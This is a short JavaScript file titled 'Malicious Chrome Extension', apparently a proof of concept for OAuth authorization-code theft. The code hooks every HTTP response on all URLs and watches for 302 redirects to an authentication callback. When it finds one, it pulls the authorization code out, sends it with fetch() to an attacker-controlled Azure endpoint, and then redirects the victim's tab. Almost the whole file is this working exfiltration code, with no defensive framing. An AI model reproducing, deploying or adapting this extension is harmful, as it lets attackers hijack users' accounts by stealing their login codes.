Malicious Chrome Extension

MaliciousChromeExtension.js

const callback = function(details) {	
	if (details.statusCode === 302) {
		const locationHeader = details.responseHeaders.find(x => x.name.toUpperCase() === 'LOCATION');		
		const callbackPath = '/authentication/callback?code='; // Update this with whatever path your browser uses to send the authorization code to the client app
		if (locationHeader && locationHeader.value.includes(callbackPath)) {
			const authCode = locationHeader.value.split('=')[1].split('&')[0];			
			// Victim code:
			fetch('https://yourAzureUrl.net/AuthCodePersistor/' + authCode).then(r => r.text()).then(result => {				
			});
			chrome.tabs.update(details.tabId, {url: '<URL to send the victim to after the attack'});
		}
	}
	
	return { responseHeaders: details.responseHeaders };
}

const filter = { urls: ["*://*/*"] };

chrome.webRequest.onHeadersReceived.addListener(callback, filter, ["responseHeaders"]);